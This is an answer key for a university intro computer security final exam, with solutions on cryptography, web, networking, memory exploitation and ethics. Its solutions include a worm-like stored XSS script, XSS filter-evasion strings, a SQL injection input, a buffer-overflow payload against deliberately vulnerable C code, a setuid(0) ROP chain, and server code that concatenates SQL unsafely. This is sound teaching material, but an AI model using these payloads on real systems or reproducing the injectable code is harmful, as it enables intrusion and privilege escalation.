EECS 388 — Winter 2022
Intro to Computer Security

Final Exam Answer Key

If you are currently experiencing COVID-19 symptoms, *do not take this exam!*
Go home, get a COVID test, and contact the course staff for an alternative test-taking arrangement.

Do not open this booklet until instructed to begin the exam. This exam is closed book and closed notes. You may not use any electronic devices or communicate with anyone other than course staff.

Write your answers legibly, and use dark printing, since the exam will be scanned for grading. The intended answers fit within the spaces provided. **You will only be graded on the answers that are within the provided spaces.**

Security is hard, and so is this exam. Do your best, and *keep calm!* The exam grades will be curved.

Time limit: **90 minutes**.

Write and sign the honor code pledge:

> "*I have neither given nor received unauthorized aid on this examination, nor have I concealed any violations of the Honor Code.*"

_____

_____

_____

_____

_____
(Signature)

_____
(Print your name)

_____
(Uniqname)

Question:	1	2	3	4	5	6	Total
Points:	15	20	15	20	20	10	100
Score:							

1. Security Potpourri

(a) [1 point] "Mixing program control and user data" is a class of vulnerabilities where a program accidentally executes user input as code. Which of the following attacks directly exploit this class of vulnerabilities? **Select all that apply.**

- √ **Buffer overflow**
- √ **Stored XSS**
- √ **Reflected XSS**
- □ CSRF
- √ **SQL injection**
- □ Distributed denial of service
- □ Padding oracle attack

(b) [1 point] Alice and Bob want to securely communicate a message M over an insecure channel using one of the following schemes. Which scheme should they use in order to avoid padding oracle attacks? **Select all that apply.**

Assume that:

- || denotes concatenation
- MAC generates a message authentication code without leaking its input
- Enc is a secure encryption algorithm

- □ $\mathsf{Enc}(M) \,||\, \mathsf{MAC}(M)$
- √ $\mathsf{Enc}(M) \,||\, \mathsf{MAC}(\mathsf{Enc}(M))$
- □ $\mathsf{Enc}(M \,||\, \mathsf{MAC}(M))$
- □ $\mathsf{MAC}(M \,||\, \mathsf{Enc}(M))$

(c) [2 points] Does the use of DNSSEC to resolve `eecs388.org` guarantee the confidentiality, integrity and authenticity of *subsequent* HTTP connections to `eecs388.org`? Justify your reasoning.

Solution: No. DNSSEC only ensures that you're sending packets to the correct IP address. On-path attackers can observe the packets you send directly, even if you send them to the correct server.

(d) [1 point] Which of the following memory safety hardening measures ensures that all writeable regions in memory are non-executable, and all executable regions in memory are non-writeable? **Select one.**

○ ASLR √ **DEP** ○ Stack canaries

(e) [2 points] EECS 388 students are using a modified version of Piazza to discuss projects. This version of Piazza lists usernames and profile pictures of active students on a sidebar, where this information is stored in a SQL database. When playing around with your account settings, you notice that setting your profile picture URL to the following sets your image on the sidebar to be wider than everyone else's photos:

```
https://eecs388.org/leslie_nielsen.jpg" width="1000
```

What kind of vulnerability might this indicate on Piazza's website? **Select all that apply.**

√ **Stored XSS** □ Buffer overflow □ CSRF
□ Reflected XSS □ SQL injection

(f) [3 points] For each of the given hash functions H below, determine if it is one-way, collision resistant, both, or neither.

i. $H(x) = x^2$ □ One-way □ Collision resistant

ii. $H(x) = x^3$ □ One-way √ **Collision resistant**

iii. $H(x) =$ `SHA-256(x[ 0 : len(x)-1 ])`, where notation `[a:b]` refers to the slice of bytes `a` to `b-1` inclusive. √ **One-way** □ Collision resistant

(g) [3 points] True or False: A site that has the following properties is safe from CSRF attacks:

- Requires and validates a hidden validation token in a form value for requests
- Requires and validates authentication cookies for requests
- Is vulnerable to XSS attacks

○ True √ **False**

Explain your reasoning.

Solution: You can use a XSS attack to learn the CSRF token and then mount a CSRF attack.

(h) [2 points] Choose which tools each of the following statements applies to. **Select all that apply.**

	Wireshark	Ghidra	Autopsy
Can be used to find websites accessed by a user	√	□	√
Supports the use of keylog files to decrypt data	√	□	□
Free	√	√	√

2. Cryptography

(a) [2 points] How many keys do each of the following cryptographic algorithms use?

i. `HMAC-SHA256` **1**

ii. `SHA-256` **0**

iii. `AES` **1**

iv. `RSA` **2**

(b) [2 points] Which of the following constructions have been *proven* to be secure? **Select all that apply.**

√ **One-time pad** □ RSA □ AES □ DES □ 3DES □ SHA-256

(c) [2 points] What might the following message look like when it's encrypted with AES using electronic codebook mode with PKCS #7 padding? **Select one.**

`HailToTheVictorsHailToTheVictors`

For reference:

- AES encrypts messages in 16 byte blocks.
- PKCS#7 padding is the same padding scheme you used for AES in Project 1.
- All answers are in hexadecimal.

◯ `9d 67 2e 5d 16 8d de af 80 08 0f 64 68 7e 33 4e`
`47 7c 08 88 b1 b4 ed 30 44 df 63 c4 b7 49 25 39`
`10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10`

◯ `9d 67 2e 5d 16 8d de af 80 08 0f 64 68 7e 33 4e`
`9d 67 2e 5d 16 8d de af 80 08 0f 64 68 7e 33 4e`
`10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10`

√ **`9d 67 2e 5d 16 8d de af 80 08 0f 64 68 7e 33 4e`**
`9d 67 2e 5d 16 8d de af 80 08 0f 64 68 7e 33 4e`
`01 43 db 63 ee 66 b0 cd ff 9f 69 91 76 80 15 1e`

◯ `9d 67 2e 5d 16 8d de af 80 08 0f 64 68 7e 33 4e`
`47 7c 08 88 b1 b4 ed 30 44 df 63 c4 b7 49 25 39`
`01 43 db 63 ee 66 b0 cd ff 9f 69 91 76 80 15 1e`

(d) [1 point] What is the cryptographic doom principle? **Select one.**

◯ If you write your own cryptography code, you're doomed.

◯ If you use a hash as a MAC, you're doomed.

√ **If you have to perform a cryptographic operation on a message before checking its MAC, you're doomed.**

◯ If you use a number smaller than 65536 as the base for your RSA keys, you're doomed.

(e) [3 points] Adam has an RSA key pair that he uses for people to send him encrypted messages. Since he doesn't use this pair for signing, he thinks it will be fun to set up a bot that will sign anything sent to it using the pair, then send the signature back. How could an attacker decrypt a message intended for Adam? Explain why your method works.

Assume that this is textbook RSA. No padding scheme or special message formatting is used.

Solution: If an attacker intercepts an encrypted message that was intended for Adam, they could send that message to the bot. Since RSA signing is the exact same process as RSA decryption, the "signature" the bot sends back will be the decrypted message.

(f) [6 points] For the following questions, consider this passphrase generation scheme: Choose four words at random from a public, static list of the most common 8192 English words.

i. What is the maximum number of attempts a brute force guessing algorithm with knowledge of the words and the scheme would take to guess the passphrase? You do not need to simplify your answer.

8192^4 **or** $8192 \times 8191 \times 8190 \times 8189$

ii. What is the key strength of the passphrase measured in bits? i.e., how many bits are there in a binary key with identical resistance to a brute force attack?

$4 \log_2(8192)$ ***or*** 52

iii. Is this passphrase scheme strong enough? ○ Yes √ **No**

Why or why not?

Solution: It's only 52 bits and Prof. Honeyman emphasized many times in class that key strength should be at least 80 bits.

(g) [4 points] Consider an encryption scheme using a 32-bit block cipher B, PKCS #7 padding, and cipher block chaining mode. (Assume all MONOSPACE characters in this question are hexadecimal.)

For a given key K, we know the encryptions of the following 16 values using B. (The other 4 billion or so are unknown.)

m	$B_K(m)$
E5C129F3	C27C5EF0
759CD277	EF234F37
C38C3BB0	B7937886
A4B71B67	83D8D17F
FAF3D671	3DBA5306
1FA52E03	66967137
5E44CD16	FC018F76
1470776E	F4FD5723
0A458C7D	57FABA19
CDA80382	1465AFC6
4B221AED	22D94599
0A458C7E	D5C97014
1FA52E04	EC168116
63FE9E10	06F480C8
E5C129F5	4325A24C
0A458C77	471C8BA6

i. Suppose you want to encrypt a plaintext PT using a initialization vector IV, where

$$PT = \texttt{5E44CD16 899D5D} \quad \text{and} \quad IV = \texttt{FAF3D671}.$$

Which of the ciphertexts below would you generate? **Select one.**
Refer to page 17 in the Appendix for an XOR reference table.

- ◯ 3DBA5306 66967137
- ◯ FC018F76 EF234F37
- ◯ 83D8D17F 471C8BA6
- ◯ 3DBA5306 2B4A99A0
- √ **83D8D17F D5C97014**

ii. What property would you look for to direct a padding oracle attack on a remote server using CBC that does not return unique error messages? Assume that you do not have access to the code the server is running.

Solution: Look at the time it takes for a server to return an error. A shorter period of time indicates a padding error, while a longer period of time indicates a MAC error.

3. Web Security

SuperDuperSketchyCorp has decided to branch into social media and instant messaging with their new service SketchyChat™. SketchyChat allows users to establish personal profiles, visit other users' profile pages, and send direct messages to friends. A U-M student named Clark decides that SketchyChat is the perfect way to make his transition from sophomore year to junior year easy. He creates a base profile without filling in any personal information on his main page. A savvy full-stack dev already, Clark uses Web Inspector to view his base profile, and is able to glean the following information:

- SketchyChat is built with the open-source social networking engine, `Elgg`
  - SketchyChat assigns each page owner a permanent ID, which can be accessed with the following method of an `Elgg` object: `elgg.session.user.guid`
  - SketchyChat assigns each user a permanent security cookie that can be accessed with `elgg.security.token`
  - Clark's permanent ID is 34.
- When Clark adds friends, the URL endpoint is:

  `https://superdupersketchycorp.sketchychat.biz/action/friends/add`

  where the friend number to add and the user security token are attached to the URL as query parameters.
- The JQuery CDN link is included in the <head> tag of the web page.

Having studied Samy Kamkar intently, Clark wants to see if he can copy the famous Samy Worm. Clark wants any user that visits his profile page to add him as a friend and receive a cryptic pop-up that reads "HAHA, thanks for the friendship". Clark, however, doesn't want to continually send a request to himself or receive a pop-up when he looks at his own page.

(a) [8 points] Write a script in the box that will accomplish Clark's goals. In the lines that follow, briefly comment on what type of XSS attack this is and why.

Solution:

```
<script>
    $(document).ready( function() {
        let token = elgg.security.token;
        let send_url = "https://superdupersketchycorp.sketchychat.
            biz/action/friends/add?friend=34&sectoken=" + token;
        if (elgg.session.user.guid != 34) {
            $.ajax({url: send_url, type: 'GET', success: function(
                res) { alert("HAHA, thanks for the friendship"); }
                });
        }
    }
</script>
```

Solution: Stored XSS attack, directly injected into the web application. Can be stored in the AboutMe section such that each time a victim visits the site, the script will load from the DB and run.

Another U-M student, Kent, realizes that, after visiting Clark's page, he has added Clark as a friend without hitting the "Add Friend" button. Having taken 388, he realizes that he has been attacked. Furious with Clark, Kent responds by sending him the following link:

```
https://superdupersketchycorp.sketchychat.biz/mainpage/login?
field1=<script>alert("KRClark, YPI took TO388. NI
You're better than thisTE.")</script>
```

(b) [3 points] What kind of attack is Kent attempting to carry out against Clark? Briefly explain how you know.

◯ SQL injection ◯ Stored XSS √ **Reflected XSS** ◯ CSRF

Solution: Reflected XSS. Clark's malicious script is reflected off of a web application to the victim's browser.

Kent, wanting to test his attack, tries opening the above URL, but doesn't see an alert. He observes the encoded URL and sees the following:

```
https://superdupersketchycorp.sketchychat.biz/mainpage/login?
field1=%3C%3Calert%28%22KRClark%2C%20YPI%20took%20TO388.%20NI
You%27re%20better%20than%20thisTE%22%29%3C%2F%3C
```

(c) [4 points] What defense is SuperDuperSketchyCorp using that causes the alert to not show up? How do you know? How can Kent get around this?

Solution: We are escaping `<script>`, evidenced by the lack of it in the URL that Kent observes. We can use a work-around similar to Project 2, such as `<scrscriptipt>`, or `<sCrIpT>`.

4. Networking

SuperDuperSketchyCorp is broke after recent lawsuits and can no longer afford a company subscription to "secure" and "safe" password managers, so they have decided to implement their own product: SuperDuperSafePasswordSafe, or SDSPS. SDSPS will be a website that users can visit to generate, store, and retrieve passwords for other websites.

Consider each scenario independently, and assume that all other aspects of SuperDuperSafePasswordSafe are correctly and securely implemented.

(a) [4 points] SuperDuperSketchyCorp doesn't trust outside certificate authorities, so they decide to create and sign their own certificate for `superdupersafepasswordsafe.com`.

i. Would a browser be able to successfully establish a secure HTTPS connection to `superdupersafepasswordsafe.com`? Why or why not?

○ Yes √ **No**

Solution: No, the browser would not be able to establish a secure HTTPS connection. As a final step in the TLS handshake, the browser must verify the certificate using a chain of known Certificate Authority public keys. Because the SDSC team is not a trusted Certificate Authority, the browser would not be able to verify the identity of the site.

ii. What additional steps must an attacker take to trick a certificate authority using multiple perspective domain validation compared to a certificate authority using single perspective domain validation?

Solution: Under a single perspective domain validation system, an attacker must compromise the path between the verifying CA and the server. In a multiple perspective domain verification system, the domain is verified from many points of view, so an attacker would have to compromise many different paths.

(b) [4 points] The SuperDuperSafePasswordSafe team has decided to encrypt the body of each HTTP request between the client and server and has therefore decided that HTTPS and TLS are not needed.

i. Assume login and user validation are performed with cookies. Is this model susceptible to a man-in-the-middle attack assuming each client and the server have previously established a secure key for the team's HTTP body encryption? Why or why not?

√ **Yes** ○ No

Solution: Yes, this model is suseptible to MITM attacks. Because there is no TLS connection, a MITM controlling the path could read and modify data in the headers of the request without detection. Because cookies are sent in headers of a request and not the body, they will not be encryted.

ii. Assume the SDSC team has decided to establish the secure key using Diffie-Hellman over HTTP. Explain how an attacker could trick both the client and server applications into believing they have a shared key, and give one possible defense other than using HTTPS that SDSC could use to prevent this.

> **Solution:** An attacker could use a standard MITM Diffie-Hellman attack (intercept and change $g^a \mod p$ to $g^k \mod p$) to trick the client and server. One possible defense is for the server to utilize PKI and send a signed transcript of the entire handshake for the client to verify.

(c) [3 points] Learning from their previous mistakes, SDSC has decided to store only a salted hash of all passwords on their server. When creating a new password, the client application will send the new password to the server over HTTPS. The SDSC server application will then salt and hash the password, store only the result and the salt used, and discard the original request. When requesting a password for a website, the client application will make a request over HTTPS to the server with a secure session token, and the server will respond with the stored salted hash and original salt corresponding to the requested password for the user.

i. Is this model susceptible to a man-in-the-middle attack? ○ Yes √ **No**
Why or why not?

> **Solution:** All communication is taking place over HTTPS, which prevents against MITM attacks through message integrity and sender authenticity assurances.

ii. Is the response from the server to retrieve a password sufficient for the client to retrieve the original password? ○ Yes √ **No**
Why or why not?

> **Solution:** A cryptographic hash function with premiage resistance is, be definition, built to be non-invertible. That is, the client would not be able to successfully retrieve the initial password with only the salted hash of that password.

(d) [6 points] Assume now that you are a consultant hired by the SDSC team to test their security practices. You have been given a network trace of a client who was communicating with the SuperDuperSafePasswordSafe website service, among other websites. Your goal is to scour the trace to obtain all the information you can about the exchange in order to answer questions given to you by the security team. Assume that the client had been communicating with SDSPS using HTTPS.

For each question below, **select whether you would expect to be able to determine the answer.** If yes, how would you find the answer (which packet, which layer, etc.)? If no, why not?

Questions from the security team:

i. "What was the IP address of the client device?" √ **Yes** ○ No

> **Solution:** The client IP address will appear in the Network layer of every packet.

ii. "At what time did the client first make contact with SDSPS?" √ **Yes** ○ No

> **Solution:** You could check the timestamp of the DNS query or the Client Hello (contains servername) of the TLS handshake.

iii. "What headers were set by the server?" ○ Yes √ **No**

> **Solution:** All parts of an HTTPS request, including headers, are encrypted and unreadable.

iv. "What was the total count of POST requests made by the client?" ○ Yes √ **No**

> **Solution:** All parts of an HTTPS request, including type of request, are encrypted and unreadable.

(e) [3 points] The security team claims that the client device used has a MAC address assigned by a very general chip manufacturing company, and therefore the type of device is impossible to identify even with a full network trace. Name three pieces of evidence you could gather in order to determine the identity of the device.

- **Types of protocols being used**
- **Information in the user-agent header of HTTP requests**
- **Volume and frequency of packets, DNS records for "phone-home", etc**

5. Application Security, Bungled!

You have been passed a work-in-progress application from the Bungle team called Mungle. The Mungle code works in conjunction with some remote Python code located on one of Bungle's servers. One of the features of Mungle is to allow comments to be posted to a user's profile page. The application code for Mungle and the relevant server-side code are available on pages 18 and 19 of the Appendix. Here is some additional helpful information:

- Mungle runs on architecture exactly like the one used for Project 4.
- String arguments to `POST(...)` are C-strings. Each string argument is read in until a null-byte is encountered. You can assume this function will not modify your stack.
- `POST(...)` bundles its arguments together, then sends them as a POST message to the server's `receive()` function. `POST(...)`'s return value is the return value of `receive()`.
- The server has access to a SQL database. The `query()` function returns a list of matching records for the given query.
- This database is guaranteed to have **more than 1 record** in it.
- A query made with the **unmodified username and password returns exactly 1 record.**

(a) [8 points] Your goal is to make the program print `Flag was set to true.` and exit with status 0. You can use the following in your solution:

- Any Python syntax, including
  - + for concatenation, * for repetition
  - `b"Apple"` for byte value of the string "Apple"
  - `<Hex value>.to_bytes(...)` to convert hex values into corresponding byte values, like `0x12345678.to_bytes(4, "little")`
- `0x03880388` for the hex equivalent of 59245448
- `offset_of_eip` for the offset between `lenPtr` and the stored EIP
- `address_of_flag`
- `address_of_debugging()`

i. What input would you pass to `argv[1]`?

Solution: `b"A"*48 + b"' OR 1=1;--"`

ii. What input would you pass to `argv[2]`?

Solution:
```
b"A"*16 + 0x03880388.to_bytes(8, "little") +
address_of_flag.to_bytes(8, "little") + b"C"*offset_of_rip +
address_of_debugging().to_bytes(8, "little")
```

On another day, you hacked into Wolverine Access and found an opportunity to perform a ROP chain attack by taking advantage of a `strcpy` call. Specifically, you want to call `setuid(0)` and thereby escalate your privileges. You find the following gadgets to work with:

```
0x0470dc :  push rax ; ret
0x047c45 :  inc rax ; ret
0x0410fc :  pop rdx ; pop rax ; ret
0x04d9c2 :  xor rdi, rdi ; ret
0x04f98e :  add rsp, 8 ; ret
0x041948 :  je 0x23a8 ; jmp rax
0x048638 :  syscall ; ret
0x048e1f :  mov rdx, 0xffffffffffffffff ; ret
0x0405db :  sub rsp 0x80 ; ret
0x04f8f2 :  pop rbp ; ret
```

(b) [8 points] Construct a chain that sets `rax` to 105, `rdi` to 0, and finally calls `syscall`. Fill in the contents you would insert onto the stack below, one 64-bit value per box. You may not need to use all of the boxes.

0x0410fc
aaaaaaaa
105
0x04d9c2
0x048638

(c) [2 points] Name a useful feature you can find in GDB that you can't see with just the source code, and state how that feature is useful when performing a buffer overflow. Be as specific as possible.

Solution: GDB allows you to step through the assembly instructions as a program executes and inspect the contents of the stack, which helps you see whether you've overwritten the return address correctly.

(d) [2 points] Name a useful feature you can find in Ghidra that you can't see in GDB, and state how that feature is useful when performing a buffer overflow. Be as specific as possible.

Solution: Ghidra allows you to view decompiled C code, which gives a more easily understandable interpretation of what a binary does during execution, allowing you to spot any vulnerabilities sooner.

6. Ethics

There are two types of encryption systems in the sense of privacy: recoverable and unrecoverable encryption. Recoverable encryption systems have backup decryption capabilities that allow authorized users like law enforcement to access a decrypted version of the system, even without clear permission or access to original user's encryption key.

On the other hand, unrecoverable encryption systems have no such backdoor. If the key is destroyed, no one is able to access a decrypted version of the system. This can be used by malicious actors and criminals to hide their activity. China, Russia, France, Brazil, and India all have laws requiring that systems remain recoverable to aid officials in investigations. Some require total recoverability in any case without service provider or user knowledge, as well as the ability to implement surveillance systems if needed. Other countries require encryption providers to enter into agreements to facilitate access to data. Still other countries don't regulate it at all, allowing complete and total privacy for citizens (including malicious actors).

(a) [5 points] Imagine you are a lawmaker for a new country, *HoneymanLand*. In a few sentences, what would be your policy on unrecoverable encryption systems? Justify your position.

> **Solution:** Answers will vary. Look for some detailed, thoughtful consideration of the equities on both sides.

Anonymous is a decentralized international "hacktivist" group that primarily targets governments and agencies using methods such as leaking of data and denial of service attacks. They have been active for over 15 years and continue to this day with their recent campaign retaliating against Russia for its invasion of Ukraine.

(b) [5 points] What are some of the societal benefits of having a decentralized hacktivist group? Are there any risks or negatives? If so, do you think the benefits outweigh the risks or not? Explain.

> **Solution:** Answers will vary. Look for some detailed, thoughtful consideration of the equities on both sides.

Final Exam Answer Key – Appendix

Do not open this document until instructed to begin the exam.

This appendix contains code and data that you will be asked to examine by specific exam problems. You may use this appendix as scratch space, but nothing you write here will be graded.

Please write your name below and turn in this appendix with your completed exam:

_____
(Print your name)

_____
(Uniqname)

Used for Question 2, Part (g) i.

XOR Reference Table

	0	**1**	**2**	**3**	**4**	**5**	**6**	**7**	**8**	**9**	**A**	**B**	**C**	**D**	**E**	**F**
0	0	1	2	3	4	5	6	7	8	9	A	B	C	D	E	F
1	1	0	3	2	5	4	7	6	9	8	B	A	D	C	F	E
2	2	3	0	1	6	7	4	5	A	B	8	9	E	F	C	D
3	3	2	1	0	7	6	5	4	B	A	9	8	F	E	D	C
4	4	5	6	7	0	1	2	3	C	D	E	F	8	9	A	B
5	5	4	7	6	1	0	3	2	D	C	F	E	9	8	B	A
6	6	7	4	5	2	3	0	1	E	F	C	D	A	B	8	9
7	7	6	5	4	3	2	1	0	F	E	D	C	B	A	9	8
8	8	9	A	B	C	D	E	F	0	1	2	3	4	5	6	7
9	9	8	B	A	D	C	F	E	1	0	3	2	5	4	7	6
A	A	B	8	9	E	F	C	D	2	3	0	1	6	7	4	5
B	B	A	9	8	F	E	D	C	3	2	1	0	7	6	5	4
C	C	D	E	F	8	9	A	B	4	5	6	7	0	1	2	3
D	D	C	F	E	9	8	B	A	5	4	7	6	1	0	3	2
E	E	F	C	D	A	B	8	9	6	7	4	5	2	3	0	1
F	F	E	D	C	B	A	9	8	7	6	5	4	3	2	1	0

Used for Question 5, Part A

Mungle Application Code

```
unsigned int flag = 0;

void debugging() {
    if(flag == 59245448) {
        puts("Flag was set to true.");
        exit(0);
    } else {
        puts("Flag was set to false.");
        exit(1);
    }
}

void send(char* arg1, char* arg2, FILE* usernameFile, FILE* passwordFile) {
    unsigned int* lenPtr;
    unsigned long int maxLen; // 8 bytes
    char subject[16];
    char password[16];
    char comment[48];
    char username[16];

    fread(username, sizeof username, 1, usernameFile);
    fread(password, sizeof password, 1, passwordFile);
    strcpy(comment, arg1);
    strcpy(subject, arg2);

    int res = POST(username, password, comment, subject);
    if(res > 1) {
       *lenPtr = maxLen;
    }
}

int main(int argc, char **argv) {
    FILE* usernameFile = fopen("username_file.txt", "r");
    FILE* passwordFile = fopen("password_file.txt", "r");

    send(argv[1], argv[2], usernameFile, passwordFile);
    return 1;
}
```

Relevant Mungle Server Code

```
def receive(req):
    username = req['username']
    password = req['password']
    subject = req['subject']
    comment = req['comment']

    q = query("SELECT * FROM users WHERE username = '"
              + username + "' AND password = '" + password)

    if len(q) == 0:
        return 0
    elif len(q) == 1:
        # Posts the comment with subject for the user
        return 1
    else:
        return 2
```